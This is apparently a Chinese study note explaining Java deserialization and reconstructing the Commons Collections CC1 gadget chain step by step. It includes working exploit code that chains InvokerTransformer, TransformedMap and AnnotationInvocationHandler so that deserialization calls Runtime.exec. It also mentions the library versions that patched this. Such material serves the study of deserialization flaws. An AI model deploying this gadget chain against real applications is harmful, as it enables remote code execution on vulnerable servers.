介绍
-  序列化的本质是内存对象到数据流的一种转换,我们知道内存中的东西不具备持久性,但有些场景却需要将对象持久化保存或传输。 
-  在Java工程中,序列化还广泛应用于JMX,RMI,网络传输(协议包对象)等场景,可以说序列化机制赋予了内存对象持久化的机会 
-  注解 
-  反射 <dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version> </dependency>
Transformer
-  Transformer是一个用于规范类型转换行为的接口,实现该接口的类有:ChainedTransformer,  
ChainedTransformer
- 链式转换器。传入Transformer数组初始化对象;transform方法依次调用Transformer实现类的transform方法处理传入对象,也就是transform方法的组合拳利用ChainedTransformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})} ); chain.transform("zgc");
ConstantTransformer
- 返回构造ConstantTransformer对象时传入的对象;transform方法会忽略传入参数,不会改变当前对象
InvokerTransformer
-  通过反射调用传入对象的方法(public属性) 
-  commons-collections从3.2.2版本开始尝试序列化或反序列化此类都会抛出UnsupportedOperationException异常,这个举措是为了防止远程代码执行;如果允许序列化该类就要在运行时添加属性-Dproperty=true 
-  commons-collections4从4.1之后直接禁止被用于反序列化 Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());
InstantiateTransformer
-  通过反射调用传入对象的构造方法新建对象,3.2.2之后启用序列化也需要属性-Dproperty=true,4.1之后也禁止用于反序列化 String[] arg = {"exec"}; InstantiateTransformer it = new InstantiateTransformer(new Class[]{String.class}, arg); Object o = it.transform(String.class); // 初始化 String 对象 System.out.println(o);
CC1链逆推

反射
// 直接调用
//        Runtime.getRuntime().exec("calc");// 反射调用
//        Class RuntimeC = Runtime.class;
//        Method exec = RuntimeC.getMethod("exec", String.class);
//        exec.invoke(Runtime.getRuntime(),"calc");// InvokerTransformer
Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());寻找InvokerTransformer.transform被调用
- 寻找InvokerTransformer.transform被调用,TransformedMap.checkSetValue有调用
  
寻找TransformedMap.checkSetValue被调用
- 寻找TransformedMap.checkSetValue被调用,AbstractInputCheckedMapDecorator.setValue有调用(Map设值的会调用)
  
for Map.Entry 调用->TransformedMap.checkSetValue->AbstractInputCheckedMapDecorator.setValue
// invokerTransformer.transform
// InvokerTransformer + TransformedMap + Map.entrySet.setValue
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("xx","yy");
Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry:decorateMap.entrySet()){entry.setValue(Runtime.getRuntime());
}

Annotation调用->TransformedMap.checkSetValue->AbstractInputCheckedMapDecorator.setValue
- 先看chainedTransformer的推导
  
Transformer[] transforms = new Transformer[]{// 通过Transformer反射Class再反射Runtimenew ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
//        chainedTransformer.transform(Runtime.class);// invokerTransformer.transform
// InvokerTransformer + TransformedMap + Map.entrySet.setValue
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
//        for (Map.Entry entry : decorateMap.entrySet()) {
//            entry.setValue(Runtime.getRuntime());
//        }Class<?> AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorateMap);serialize(o);
unSerialize("serializeFile");
chainedTransformer的推导
Class 可以序列化,Runtime不能序列化
-  通过直接Class反射Runtime // Runtime 序列化 Class runtimeClass = Runtime.class; Method getRuntimeMethod = runtimeClass.getMethod("getRuntime", null); Runtime runtimeMethodInvoke = (Runtime) getRuntimeMethod.invoke(null, null); Method execMethod = runtimeClass.getMethod("exec", String.class); execMethod.invoke(runtimeMethodInvoke, "calc");
-  通过Transformer反射Class再反射Runtime 
  // 通过Transformer反射Class再反射Runtime Method getRuntimeMethodByTransformer = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); Runtime runtimeMethodInvokeByTransformer = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethodByTransformer); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtimeMethodInvokeByTransformer);
ChainedTransformer优化transformer
Transformer[] transforms = new Transformer[]{// 通过Transformer反射Class再反射Runtimenew InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
chainedTransformer.transform(Runtime.class);
输出对象不一定是Runtime
- 使用ConstantTransformer保证输出对象Transformer[] transforms = new Transformer[]{// 通过Transformer反射Class再反射Runtimenew ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), };
CC2链逆推

问题
java和class
- jar 加载不出时候,需要下载sources
  
jdk版本问题
-  需要jdk8u65之前 
-  不是setValue,既无法调用checkSetValue,也无法执行到valueTransformer.transform(value) 
